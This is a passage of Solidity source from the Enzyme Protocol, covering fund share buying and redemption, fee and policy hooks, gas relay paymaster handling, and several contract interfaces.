gav_.add(externalPositionValue); } } return gav_; } /// @notice Calculates the gross value of 1 unit of shares in the fund's denomination asset /// @return grossShareValue_ The amount of the denomination asset per share /// @dev Does not account for any fees outstanding. function calcGrossShareValue() external override returns (uint256 grossShareValue_) { uint256 gav = calcGav(); grossShareValue_ = __calcGrossShareValue( gav, ERC20(getVaultProxy()).totalSupply(), 10**uint256(ERC20(getDenominationAsset()).decimals()) ); return grossShareValue_; } // @dev Helper for calculating a external position value. Prevents from stack too deep function __calcExternalPositionValue(address _externalPosition) private returns (uint256 value_) { (address[] memory managedAssets, uint256[] memory managedAmounts) = IExternalPosition( _externalPosition ) .getManagedAssets(); uint256 managedValue = IValueInterpreter(getValueInterpreter()) .calcCanonicalAssetsTotalValue(managedAssets, managedAmounts, getDenominationAsset()); (address[] memory debtAssets, uint256[] memory debtAmounts) = IExternalPosition( _externalPosition ) .getDebtAssets(); uint256 debtValue = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetsTotalValue( debtAssets, debtAmounts, getDenominationAsset() ); if (managedValue > debtValue) { value_ = managedValue.sub(debtValue); } return value_; } /// @dev Helper for calculating the gross share value function __calcGrossShareValue( uint256 _gav, uint256 _sharesSupply, uint256 _denominationAssetUnit ) private pure returns (uint256 grossShareValue_) { if (_sharesSupply == 0) { return _denominationAssetUnit; } return _gav.mul(SHARES_UNIT).div(_sharesSupply); } /////////////////// // PARTICIPATION // /////////////////// // BUY SHARES /// @notice Buys shares on behalf of another user /// @param _buyer The account on behalf of whom to buy shares /// @param _investmentAmount The amount of the fund's denomination asset with which to buy shares /// @param _minSharesQuantity The minimum quantity of shares to buy /// @return sharesReceived_ The actual amount of shares received /// @dev This function is freely callable if there is no sharesActionTimelock set, but it is /// limited to a list of trusted callers otherwise, in order to prevent a griefing attack /// where the caller buys shares for a _buyer, thereby resetting their lastSharesBought value. function buySharesOnBehalf( address _buyer, uint256 _investmentAmount, uint256 _minSharesQuantity ) external returns (uint256 sharesReceived_) { bool hasSharesActionTimelock = getSharesActionTimelock() > 0; address canonicalSender = __msgSender(); require( !hasSharesActionTimelock || IFundDeployer(getFundDeployer()).isAllowedBuySharesOnBehalfCaller(canonicalSender), "buySharesOnBehalf: Unauthorized" ); return __buyShares( _buyer, _investmentAmount, _minSharesQuantity, hasSharesActionTimelock, canonicalSender ); } /// @notice Buys shares /// @param _investmentAmount The amount of the fund's denomination asset /// with which to buy shares /// @param _minSharesQuantity The minimum quantity of shares to buy /// @return sharesReceived_ The actual amount of shares received function buyShares(uint256 _investmentAmount, uint256 _minSharesQuantity) external returns (uint256 sharesReceived_) { bool hasSharesActionTimelock = getSharesActionTimelock() > 0; address canonicalSender = __msgSender(); return __buyShares( canonicalSender, _investmentAmount, _minSharesQuantity, hasSharesActionTimelock, canonicalSender ); } /// @dev Helper for buy shares logic function __buyShares( address _buyer, uint256 _investmentAmount, uint256 _minSharesQuantity, bool _hasSharesActionTimelock, address _canonicalSender ) private locksReentrance allowsPermissionedVaultAction returns (uint256 sharesReceived_) { // Enforcing a _minSharesQuantity also validates `_investmentAmount > 0` // and guarantees the function cannot succeed while minting 0 shares require(_minSharesQuantity > 0, "__buyShares: _minSharesQuantity must be >0"); address vaultProxyCopy = getVaultProxy(); require( !_hasSharesActionTimelock || !__hasPendingMigrationOrReconfiguration(vaultProxyCopy), "__buyShares: Pending migration or reconfiguration" ); uint256 gav = calcGav(); // Gives Extensions a chance to run logic prior to the minting of bought shares. // Fees implementing this hook should be aware that // it might be the case that _investmentAmount != actualInvestmentAmount, // if the denomination asset charges a transfer fee, for example. __preBuySharesHook(_buyer, _investmentAmount, gav); // Pay the protocol fee after running other fees, but before minting new shares IVault(vaultProxyCopy).payProtocolFee(); if (doesAutoProtocolFeeSharesBuyback()) { __buyBackMaxProtocolFeeShares(vaultProxyCopy, gav); } // Transfer the investment asset to the fund. // Does not follow the checks-effects-interactions pattern, but it is necessary to // do this delta balance calculation before calculating shares to mint. uint256 receivedInvestmentAmount = __transferFromWithReceivedAmount( getDenominationAsset(), _canonicalSender, vaultProxyCopy, _investmentAmount ); // Calculate the amount of shares to issue with the investment amount uint256 sharePrice = __calcGrossShareValue( gav, ERC20(vaultProxyCopy).totalSupply(), 10**uint256(ERC20(getDenominationAsset()).decimals()) ); uint256 sharesIssued = receivedInvestmentAmount.mul(SHARES_UNIT).div(sharePrice); // Mint shares to the buyer uint256 prevBuyerShares = ERC20(vaultProxyCopy).balanceOf(_buyer); IVault(vaultProxyCopy).mintShares(_buyer, sharesIssued); // Gives Extensions a chance to run logic after shares are issued __postBuySharesHook(_buyer, receivedInvestmentAmount, sharesIssued, gav); // The number of actual shares received may differ from shares issued due to // how the PostBuyShares hooks are invoked by Extensions (i.e., fees) sharesReceived_ = ERC20(vaultProxyCopy).balanceOf(_buyer).sub(prevBuyerShares); require( sharesReceived_ >= _minSharesQuantity, "__buyShares: Shares received < _minSharesQuantity" ); if (_hasSharesActionTimelock) { acctToLastSharesBoughtTimestamp[_buyer] = block.timestamp; } emit SharesBought(_buyer, receivedInvestmentAmount, sharesIssued, sharesReceived_); return sharesReceived_; } /// @dev Helper for Extension actions immediately prior to issuing shares function __preBuySharesHook( address _buyer, uint256 _investmentAmount, uint256 _gav ) private { IFeeManager(getFeeManager()).invokeHook( IFeeManager.FeeHook.PreBuyShares, abi.encode(_buyer, _investmentAmount), _gav ); } /// @dev Helper for Extension actions immediately after issuing shares. /// This could be cleaned up so both Extensions take the same encoded args and handle GAV /// in the same way, but there is not the obvious need for gas savings of recycling /// the GAV value for the current policies as there is for the fees. function __postBuySharesHook( address _buyer, uint256 _investmentAmount, uint256 _sharesIssued, uint256 _preBuySharesGav ) private { uint256 gav = _preBuySharesGav.add(_investmentAmount); IFeeManager(getFeeManager()).invokeHook( IFeeManager.FeeHook.PostBuyShares, abi.encode(_buyer, _investmentAmount, _sharesIssued), gav ); IPolicyManager(getPolicyManager()).validatePolicies( address(this), IPolicyManager.PolicyHook.PostBuyShares, abi.encode(_buyer, _investmentAmount, _sharesIssued, gav) ); } /// @dev Helper to execute ERC20.transferFrom() while calculating the actual amount received function __transferFromWithReceivedAmount( address _asset, address _sender, address _recipient, uint256 _transferAmount ) private returns (uint256 receivedAmount_) { uint256 preTransferRecipientBalance = ERC20(_asset).balanceOf(_recipient); ERC20(_asset).safeTransferFrom(_sender, _recipient, _transferAmount); return ERC20(_asset).balanceOf(_recipient).sub(preTransferRecipientBalance); } // REDEEM SHARES /// @notice Redeems a specified amount of the sender's shares for specified asset proportions /// @param _recipient The account that will receive the specified assets /// @param _sharesQuantity The quantity of shares to redeem /// @param _payoutAssets The assets to payout /// @param _payoutAssetPercentages The percentage of the owed amount to pay out in each asset /// @return payoutAmounts_ The amount of each asset paid out to the _recipient /// @dev Redeem all shares of the sender by setting _sharesQuantity to the max uint value. /// _payoutAssetPercentages must total exactly 100%. In order to specify less and forgo the /// remaining gav owed on the redeemed shares, pass in address(0) with the percentage to forego. /// Unlike redeemSharesInKind(), this function allows policies to run and prevent redemption. function redeemSharesForSpecificAssets( address _recipient, uint256 _sharesQuantity, address[] calldata _payoutAssets, uint256[] calldata _payoutAssetPercentages ) external locksReentrance returns (uint256[] memory payoutAmounts_) { address canonicalSender = __msgSender(); require( _payoutAssets.length == _payoutAssetPercentages.length, "redeemSharesForSpecificAssets: Unequal arrays" ); require( _payoutAssets.isUniqueSet(), "redeemSharesForSpecificAssets: Duplicate payout asset" ); uint256 gav = calcGav(); IVault vaultProxyContract = IVault(getVaultProxy()); (uint256 sharesToRedeem, uint256 sharesSupply) = __redeemSharesSetup( vaultProxyContract, canonicalSender, _sharesQuantity, true, gav ); payoutAmounts_ = __payoutSpecifiedAssetPercentages( vaultProxyContract, _recipient, _payoutAssets, _payoutAssetPercentages, gav.mul(sharesToRedeem).div(sharesSupply) ); // Run post-redemption in order to have access to the payoutAmounts __postRedeemSharesForSpecificAssetsHook( canonicalSender, _recipient, sharesToRedeem, _payoutAssets, payoutAmounts_, gav ); emit SharesRedeemed( canonicalSender, _recipient, sharesToRedeem, _payoutAssets, payoutAmounts_ ); return payoutAmounts_; } /// @notice Redeems a specified amount of the sender's shares /// for a proportionate slice of the vault's assets /// @param _recipient The account that will receive the proportionate slice of assets /// @param _sharesQuantity The quantity of shares to redeem /// @param _additionalAssets Additional (non-tracked) assets to claim /// @param _assetsToSkip Tracked assets to forfeit /// @return payoutAssets_ The assets paid out to the _recipient /// @return payoutAmounts_ The amount of each asset paid out to the _recipient /// @dev Redeem all shares of the sender by setting _sharesQuantity to the max uint value. /// Any claim to passed _assetsToSkip will be forfeited entirely. This should generally /// only be exercised if a bad asset is causing redemption to fail. /// This function should never fail without a way to bypass the failure, which is assured /// through two mechanisms: /// 1. The FeeManager is called with the try/catch pattern to assure that calls to it /// can never block redemption. /// 2. If a token fails upon transfer(), that token can be skipped (and its balance forfeited) /// by explicitly specifying _assetsToSkip. /// Because of these assurances, shares should always be redeemable, with the exception /// of the timelock period on shares actions that must be respected. function redeemSharesInKind( address _recipient, uint256 _sharesQuantity, address[] calldata _additionalAssets, address[] calldata _assetsToSkip ) external locksReentrance returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_) { address canonicalSender = __msgSender(); require( _additionalAssets.isUniqueSet(), "redeemSharesInKind: _additionalAssets contains duplicates" ); require( _assetsToSkip.isUniqueSet(), "redeemSharesInKind: _assetsToSkip contains duplicates" ); // Parse the payout assets given optional params to add or skip assets. // Note that there is no validation that the _additionalAssets are known assets to // the protocol. This means that the redeemer could specify a malicious asset, // but since all state-changing, user-callable functions on this contract share the // non-reentrant modifier, there is nowhere to perform a reentrancy attack. payoutAssets_ = __parseRedemptionPayoutAssets( IVault(vaultProxy).getTrackedAssets(), _additionalAssets, _assetsToSkip ); // If protocol fee shares will be auto-bought back, attempt to calculate GAV to pass into fees, // as we will require GAV later during the buyback. uint256 gavOrZero; if (doesAutoProtocolFeeSharesBuyback()) { // Since GAV calculation can fail with a revering price or a no-longer-supported asset, // we must try/catch GAV calculation to ensure that in-kind redemption can still succeed try this.calcGav() returns (uint256 gav) { gavOrZero = gav; } catch { emit RedeemSharesInKindCalcGavFailed(); } } (uint256 sharesToRedeem, uint256 sharesSupply) = __redeemSharesSetup( IVault(vaultProxy), canonicalSender, _sharesQuantity, false, gavOrZero ); // Calculate and transfer payout asset amounts due to _recipient payoutAmounts_ = new uint256[](payoutAssets_.length); for (uint256 i; i < payoutAssets_.length; i++) { payoutAmounts_[i] = ERC20(payoutAssets_[i]) .balanceOf(vaultProxy) .mul(sharesToRedeem) .div(sharesSupply); // Transfer payout asset to _recipient if (payoutAmounts_[i] > 0) { IVault(vaultProxy).withdrawAssetTo( payoutAssets_[i], _recipient, payoutAmounts_[i] ); } } emit SharesRedeemed( canonicalSender, _recipient, sharesToRedeem, payoutAssets_, payoutAmounts_ ); return (payoutAssets_, payoutAmounts_); } /// @dev Helper to parse an array of payout assets during redemption, taking into account /// additional assets and assets to skip. _assetsToSkip ignores _additionalAssets. /// All input arrays are assumed to be unique. function __parseRedemptionPayoutAssets( address[] memory _trackedAssets, address[] memory _additionalAssets, address[] memory _assetsToSkip ) private pure returns (address[] memory payoutAssets_) { address[] memory trackedAssetsToPayout = _trackedAssets.removeItems(_assetsToSkip); if (_additionalAssets.length == 0) { return trackedAssetsToPayout; } // Add additional assets. Duplicates of trackedAssets are ignored. bool[] memory indexesToAdd = new bool[](_additionalAssets.length); uint256 additionalItemsCount; for (uint256 i; i < _additionalAssets.length; i++) { if (!trackedAssetsToPayout.contains(_additionalAssets[i])) { indexesToAdd[i] = true; additionalItemsCount++; } } if (additionalItemsCount == 0) { return trackedAssetsToPayout; } payoutAssets_ = new address[](trackedAssetsToPayout.length.add(additionalItemsCount)); for (uint256 i; i < trackedAssetsToPayout.length; i++) { payoutAssets_[i] = trackedAssetsToPayout[i]; } uint256 payoutAssetsIndex = trackedAssetsToPayout.length; for (uint256 i; i < _additionalAssets.length; i++) { if (indexesToAdd[i]) { payoutAssets_[payoutAssetsIndex] = _additionalAssets[i]; payoutAssetsIndex++; } } return payoutAssets_; } /// @dev Helper to payout specified asset percentages during redeemSharesForSpecificAssets() function __payoutSpecifiedAssetPercentages( IVault vaultProxyContract, address _recipient, address[] calldata _payoutAssets, uint256[] calldata _payoutAssetPercentages, uint256 _owedGav ) private returns (uint256[] memory payoutAmounts_) { address denominationAssetCopy = getDenominationAsset(); uint256 percentagesTotal; payoutAmounts_ = new uint256[](_payoutAssets.length); for (uint256 i; i < _payoutAssets.length; i++) { percentagesTotal = percentagesTotal.add(_payoutAssetPercentages[i]); // Used to explicitly specify less than 100% in total _payoutAssetPercentages if (_payoutAssets[i] == SPECIFIC_ASSET_REDEMPTION_DUMMY_FORFEIT_ADDRESS) { continue; } payoutAmounts_[i] = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetValue( denominationAssetCopy, _owedGav.mul(_payoutAssetPercentages[i]).div(ONE_HUNDRED_PERCENT), _payoutAssets[i] ); // Guards against corner case of primitive-to-derivative asset conversion that floors to 0, // or redeeming a very low shares amount and/or percentage where asset value owed is 0 require( payoutAmounts_[i] > 0, "__payoutSpecifiedAssetPercentages: Zero amount for asset" ); vaultProxyContract.withdrawAssetTo(_payoutAssets[i], _recipient, payoutAmounts_[i]); } require( percentagesTotal == ONE_HUNDRED_PERCENT, "__payoutSpecifiedAssetPercentages: Percents must total 100%" ); return payoutAmounts_; } /// @dev Helper for system actions immediately prior to redeeming shares. /// Policy validation is not currently allowed on redemption, to ensure continuous redeemability. function __preRedeemSharesHook( address _redeemer, uint256 _sharesToRedeem, bool _forSpecifiedAssets, uint256 _gavIfCalculated ) private allowsPermissionedVaultAction { try IFeeManager(getFeeManager()).invokeHook( IFeeManager.FeeHook.PreRedeemShares, abi.encode(_redeemer, _sharesToRedeem, _forSpecifiedAssets), _gavIfCalculated ) {} catch (bytes memory reason) { emit PreRedeemSharesHookFailed(reason, _redeemer, _sharesToRedeem); } } /// @dev Helper to run policy validation after other logic for redeeming shares for specific assets. /// Avoids stack-too-deep error. function __postRedeemSharesForSpecificAssetsHook( address _redeemer, address _recipient, uint256 _sharesToRedeemPostFees, address[] memory _assets, uint256[] memory _assetAmounts, uint256 _gavPreRedeem ) private { IPolicyManager(getPolicyManager()).validatePolicies( address(this), IPolicyManager.PolicyHook.RedeemSharesForSpecificAssets, abi.encode( _redeemer, _recipient, _sharesToRedeemPostFees, _assets, _assetAmounts, _gavPreRedeem ) ); } /// @dev Helper to execute common pre-shares redemption logic function __redeemSharesSetup( IVault vaultProxyContract, address _redeemer, uint256 _sharesQuantityInput, bool _forSpecifiedAssets, uint256 _gavIfCalculated ) private returns (uint256 sharesToRedeem_, uint256 sharesSupply_) { __assertSharesActionNotTimelocked(address(vaultProxyContract), _redeemer); ERC20 sharesContract = ERC20(address(vaultProxyContract)); uint256 preFeesRedeemerSharesBalance = sharesContract.balanceOf(_redeemer); if (_sharesQuantityInput == type(uint256).max) { sharesToRedeem_ = preFeesRedeemerSharesBalance; } else { sharesToRedeem_ = _sharesQuantityInput; } require(sharesToRedeem_ > 0, "__redeemSharesSetup: No shares to redeem"); __preRedeemSharesHook(_redeemer, sharesToRedeem_, _forSpecifiedAssets, _gavIfCalculated); // Update the redemption amount if fees were charged (or accrued) to the redeemer uint256 postFeesRedeemerSharesBalance = sharesContract.balanceOf(_redeemer); if (_sharesQuantityInput == type(uint256).max) { sharesToRedeem_ = postFeesRedeemerSharesBalance; } else if (postFeesRedeemerSharesBalance < preFeesRedeemerSharesBalance) { sharesToRedeem_ = sharesToRedeem_.sub( preFeesRedeemerSharesBalance.sub(postFeesRedeemerSharesBalance) ); } // Pay the protocol fee after running other fees, but before burning shares vaultProxyContract.payProtocolFee(); if (_gavIfCalculated > 0 && doesAutoProtocolFeeSharesBuyback()) { __buyBackMaxProtocolFeeShares(address(vaultProxyContract), _gavIfCalculated); } // Destroy the shares after getting the shares supply sharesSupply_ = sharesContract.totalSupply(); vaultProxyContract.burnShares(_redeemer, sharesToRedeem_); return (sharesToRedeem_, sharesSupply_); } // TRANSFER SHARES /// @notice Runs logic prior to transferring shares that are not freely transferable /// @param _sender The sender of the shares /// @param _recipient The recipient of the shares /// @param _amount The amount of shares function preTransferSharesHook( address _sender, address _recipient, uint256 _amount ) external override { address vaultProxyCopy = getVaultProxy(); require(msg.sender == vaultProxyCopy, "preTransferSharesHook: Only VaultProxy callable"); __assertSharesActionNotTimelocked(vaultProxyCopy, _sender); IPolicyManager(getPolicyManager()).validatePolicies( address(this), IPolicyManager.PolicyHook.PreTransferShares, abi.encode(_sender, _recipient, _amount) ); } /// @notice Runs logic prior to transferring shares that are freely transferable /// @param _sender The sender of the shares /// @dev No need to validate caller, as policies are not run function preTransferSharesHookFreelyTransferable(address _sender) external view override { __assertSharesActionNotTimelocked(getVaultProxy(), _sender); } ///////////////// // GAS RELAYER // ///////////////// /// @notice Deploys a paymaster contract and deposits WETH, enabling gas relaying function deployGasRelayPaymaster() external onlyOwnerNotRelayable { require( getGasRelayPaymaster() == address(0), "deployGasRelayPaymaster: Paymaster already deployed" ); bytes memory constructData = abi.encodeWithSignature("init(address)", getVaultProxy()); address paymaster = IBeaconProxyFactory(getGasRelayPaymasterFactory()).deployProxy( constructData ); __setGasRelayPaymaster(paymaster); __depositToGasRelayPaymaster(paymaster); } /// @notice Tops up the gas relay paymaster deposit function depositToGasRelayPaymaster() external onlyOwner { __depositToGasRelayPaymaster(getGasRelayPaymaster()); } /// @notice Pull WETH from vault to gas relay paymaster /// @param _amount Amount of the WETH to pull from the vault function pullWethForGasRelayer(uint256 _amount) external override onlyGasRelayPaymaster { IVault(getVaultProxy()).withdrawAssetTo(getWethToken(), getGasRelayPaymaster(), _amount); } /// @notice Sets the gasRelayPaymaster variable value /// @param _nextGasRelayPaymaster The next gasRelayPaymaster value function setGasRelayPaymaster(address _nextGasRelayPaymaster) external override onlyFundDeployer { __setGasRelayPaymaster(_nextGasRelayPaymaster); } /// @notice Removes the gas relay paymaster, withdrawing the remaining WETH balance /// and disabling gas relaying function shutdownGasRelayPaymaster() external onlyOwnerNotRelayable { IGasRelayPaymaster(gasRelayPaymaster).withdrawBalance(); IVault(vaultProxy).addTrackedAsset(getWethToken()); delete gasRelayPaymaster; emit GasRelayPaymasterSet(address(0)); } /// @dev Helper to deposit to the gas relay paymaster function __depositToGasRelayPaymaster(address _paymaster) private { IGasRelayPaymaster(_paymaster).deposit(); } /// @dev Helper to set the next `gasRelayPaymaster` variable function __setGasRelayPaymaster(address _nextGasRelayPaymaster) private { gasRelayPaymaster = _nextGasRelayPaymaster; emit GasRelayPaymasterSet(_nextGasRelayPaymaster); } /////////////////// // STATE GETTERS // /////////////////// // LIB IMMUTABLES /// @notice Gets the `DISPATCHER` variable /// @return dispatcher_ The `DISPATCHER` variable value function getDispatcher() public view returns (address dispatcher_) { return DISPATCHER; } /// @notice Gets the `EXTERNAL_POSITION_MANAGER` variable /// @return externalPositionManager_ The `EXTERNAL_POSITION_MANAGER` variable value function getExternalPositionManager() public view override returns (address externalPositionManager_) { return EXTERNAL_POSITION_MANAGER; } /// @notice Gets the `FEE_MANAGER` variable /// @return feeManager_ The `FEE_MANAGER` variable value function getFeeManager() public view override returns (address feeManager_) { return FEE_MANAGER; } /// @notice Gets the `FUND_DEPLOYER` variable /// @return fundDeployer_ The `FUND_DEPLOYER` variable value function getFundDeployer() public view override returns (address fundDeployer_) { return FUND_DEPLOYER; } /// @notice Gets the `INTEGRATION_MANAGER` variable /// @return integrationManager_ The `INTEGRATION_MANAGER` variable value function getIntegrationManager() public view override returns (address integrationManager_) { return INTEGRATION_MANAGER; } /// @notice Gets the `MLN_TOKEN` variable /// @return mlnToken_ The `MLN_TOKEN` variable value function getMlnToken() public view returns (address mlnToken_) { return MLN_TOKEN; } /// @notice Gets the `POLICY_MANAGER` variable /// @return policyManager_ The `POLICY_MANAGER` variable value function getPolicyManager() public view override returns (address policyManager_) { return POLICY_MANAGER; } /// @notice Gets the `PROTOCOL_FEE_RESERVE` variable /// @return protocolFeeReserve_ The `PROTOCOL_FEE_RESERVE` variable value function getProtocolFeeReserve() public view returns (address protocolFeeReserve_) { return PROTOCOL_FEE_RESERVE; } /// @notice Gets the `VALUE_INTERPRETER` variable /// @return valueInterpreter_ The `VALUE_INTERPRETER` variable value function getValueInterpreter() public view returns (address valueInterpreter_) { return VALUE_INTERPRETER; } /// @notice Gets the `WETH_TOKEN` variable /// @return wethToken_ The `WETH_TOKEN` variable value function getWethToken() public view returns (address wethToken_) { return WETH_TOKEN; } // PROXY STORAGE /// @notice Checks if collected protocol fee shares are automatically bought back /// while buying or redeeming shares /// @return doesAutoBuyback_ True if shares are automatically bought back function doesAutoProtocolFeeSharesBuyback() public view returns (bool doesAutoBuyback_) { return autoProtocolFeeSharesBuyback; } /// @notice Gets the `denominationAsset` variable /// @return denominationAsset_ The `denominationAsset` variable value function getDenominationAsset() public view override returns (address denominationAsset_) { return denominationAsset; } /// @notice Gets the `gasRelayPaymaster` variable /// @return gasRelayPaymaster_ The `gasRelayPaymaster` variable value function getGasRelayPaymaster() public view override returns (address gasRelayPaymaster_) { return gasRelayPaymaster; } /// @notice Gets the timestamp of the last time shares were bought for a given account /// @param _who The account for which to get the timestamp /// @return lastSharesBoughtTimestamp_ The timestamp of the last shares bought function getLastSharesBoughtTimestampForAccount(address _who) public view returns (uint256 lastSharesBoughtTimestamp_) { return acctToLastSharesBoughtTimestamp[_who]; } /// @notice Gets the `sharesActionTimelock` variable /// @return sharesActionTimelock_ The `sharesActionTimelock` variable value function getSharesActionTimelock() public view returns (uint256 sharesActionTimelock_) { return sharesActionTimelock; } /// @notice Gets the `vaultProxy` variable /// @return vaultProxy_ The `vaultProxy` variable value function getVaultProxy() public view override returns (address vaultProxy_) { return vaultProxy; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../../../utils/NonUpgradableProxy.sol"; /// @title ComptrollerProxy Contract /// @author Enzyme Council <[email protected]> /// @notice A proxy contract for all ComptrollerProxy instances contract ComptrollerProxy is NonUpgradableProxy { constructor(bytes memory _constructData, address _comptrollerLib) public NonUpgradableProxy(_constructData, _comptrollerLib) {} } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../vault/IVault.sol"; /// @title IComptroller Interface /// @author Enzyme Council <[email protected]> interface IComptroller { function activate(bool) external; function calcGav() external returns (uint256); function calcGrossShareValue() external returns (uint256); function callOnExtension( address, uint256, bytes calldata ) external; function destructActivated(uint256, uint256) external; function destructUnactivated() external; function getDenominationAsset() external view returns (address); function getExternalPositionManager() external view returns (address); function getFeeManager() external view returns (address); function getFundDeployer() external view returns (address); function getGasRelayPaymaster() external view returns (address); function getIntegrationManager() external view returns (address); function getPolicyManager() external view returns (address); function getVaultProxy() external view returns (address); function init(address, uint256) external; function permissionedVaultAction(IVault.VaultAction, bytes calldata) external; function preTransferSharesHook( address, address, uint256 ) external; function preTransferSharesHookFreelyTransferable(address) external view; function setGasRelayPaymaster(address) external; function setVaultProxy(address) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../../../../persistent/vault/interfaces/IExternalPositionVault.sol"; import "../../../../persistent/vault/interfaces/IFreelyTransferableSharesVault.sol"; import "../../../../persistent/vault/interfaces/IMigratableVault.sol"; /// @title IVault Interface /// @author Enzyme Council <[email protected]> interface IVault is IMigratableVault, IFreelyTransferableSharesVault, IExternalPositionVault { enum VaultAction { None, // Shares management BurnShares, MintShares, TransferShares, // Asset management AddTrackedAsset, ApproveAssetSpender, RemoveTrackedAsset, WithdrawAssetTo, // External position management AddExternalPosition, CallOnExternalPosition, RemoveExternalPosition } function addTrackedAsset(address) external; function burnShares(address, uint256) external; function buyBackProtocolFeeShares( uint256, uint256, uint256 ) external; function callOnContract(address, bytes calldata) external returns (bytes memory); function canManageAssets(address) external view returns (bool); function canRelayCalls(address) external view returns (bool); function getAccessor() external view returns (address); function getOwner() external view returns (address); function getActiveExternalPositions() external view returns (address[] memory); function getTrackedAssets() external view returns (address[] memory); function isActiveExternalPosition(address) external view returns (bool); function isTrackedAsset(address) external view returns (bool); function mintShares(address, uint256) external; function payProtocolFee() external; function receiveValidatedVaultAction(VaultAction, bytes calldata) external; function setAccessorForFundReconfiguration(address) external; function setSymbol(string calldata) external; function transferShares( address, address, uint256 ) external; function withdrawAssetTo( address, address, uint256 ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IExtension Interface /// @author Enzyme Council <[email protected]> /// @notice Interface for all extensions interface IExtension { function activateForFund(bool _isMigration) external; function deactivateForFund() external; function receiveCallFromComptroller( address _caller, uint256 _actionId, bytes calldata _callArgs ) external; function setConfigForFund( address _comptrollerProxy, address _vaultProxy, bytes calldata _configData ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /// @title FeeManager Interface /// @author Enzyme Council <[email protected]> /// @notice Interface for the FeeManager interface IFeeManager { // No fees for the current release are implemented post-redeemShares enum FeeHook {Continuous, PreBuyShares, PostBuyShares, PreRedeemShares} enum SettlementType {None, Direct, Mint, Burn, MintSharesOutstanding, BurnSharesOutstanding} function invokeHook( FeeHook, bytes calldata, uint256 ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "./IPolicyManager.sol"; /// @title Policy Interface /// @author Enzyme Council <[email protected]> interface IPolicy { function activateForFund(address _comptrollerProxy) external; function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings) external; function canDisable() external pure returns (bool canDisable_); function identifier() external pure returns (string memory identifier_); function implementedHooks() external pure returns (IPolicyManager.PolicyHook[] memory implementedHooks_); function updateFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings) external; function validateRule( address _comptrollerProxy, IPolicyManager.PolicyHook _hook, bytes calldata _encodedArgs ) external returns (bool isValid_); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /// @title PolicyManager Interface /// @author Enzyme Council <[email protected]> /// @notice Interface for the PolicyManager interface IPolicyManager { // When updating PolicyHook, also update these functions in PolicyManager: // 1. __getAllPolicyHooks() // 2. __policyHookRestrictsCurrentInvestorActions() enum PolicyHook { PostBuyShares, PostCallOnIntegration, PreTransferShares, RedeemSharesForSpecificAssets, AddTrackedAssets, RemoveTrackedAssets, CreateExternalPosition, PostCallOnExternalPosition, RemoveExternalPosition, ReactivateExternalPosition } function validatePolicies( address, PolicyHook, bytes calldata ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "../../core/fund/comptroller/IComptroller.sol"; import "../../core/fund/vault/IVault.sol"; import "../../infrastructure/gas-relayer/GasRelayRecipientMixin.sol"; import "../../utils/AddressArrayLib.sol"; import "../utils/ExtensionBase.sol"; import "./IPolicy.sol"; import "./IPolicyManager.sol"; /// @title PolicyManager Contract /// @author Enzyme Council <[email protected]> /// @notice Manages policies for funds /// @dev Any arbitrary fee is allowed by default, so all participants must be aware of /// their fund's configuration, especially whether they use official policies only. /// Policies that restrict current investors can only be added upon fund setup, migration, or reconfiguration. /// Policies that restrict new investors or asset management actions can be added at any time. /// Policies themselves specify whether or not they are allowed to be updated or removed. contract PolicyManager is IPolicyManager, ExtensionBase, GasRelayRecipientMixin { using AddressArrayLib for address[]; event PolicyDisabledOnHookForFund( address indexed comptrollerProxy, address indexed policy, PolicyHook indexed hook ); event PolicyEnabledForFund( address indexed comptrollerProxy, address indexed policy, bytes settingsData ); uint256 private constant POLICY_HOOK_COUNT = 10; mapping(address => mapping(PolicyHook => address[])) private comptrollerProxyToHookToPolicies; modifier onlyFundOwner(address _comptrollerProxy) { require( __msgSender() == IVault(getVaultProxyForFund(_comptrollerProxy)).getOwner(), "Only the fund owner can call this function" ); _; } constructor(address _fundDeployer, address _gasRelayPaymasterFactory) public ExtensionBase(_fundDeployer) GasRelayRecipientMixin(_gasRelayPaymasterFactory) {} // EXTERNAL FUNCTIONS /// @notice Validates and initializes policies as necessary prior to fund activation /// @param _isMigratedFund True if the fund is migrating to this release /// @dev There will be no enabledPolicies if the caller is not a valid ComptrollerProxy function activateForFund(bool _isMigratedFund) external override { address comptrollerProxy = msg.sender; // Policies must assert that they are congruent with migrated vault state if (_isMigratedFund) { address[] memory enabledPolicies = getEnabledPoliciesForFund(comptrollerProxy); for (uint256 i; i < enabledPolicies.length; i++) { __activatePolicyForFund(comptrollerProxy, enabledPolicies[i]); } } } /// @notice Disables a policy for a fund /// @param _comptrollerProxy The ComptrollerProxy of the fund /// @param _policy The policy address to disable /// @dev If an arbitrary policy changes its `implementedHooks()` return values after it is /// already enabled 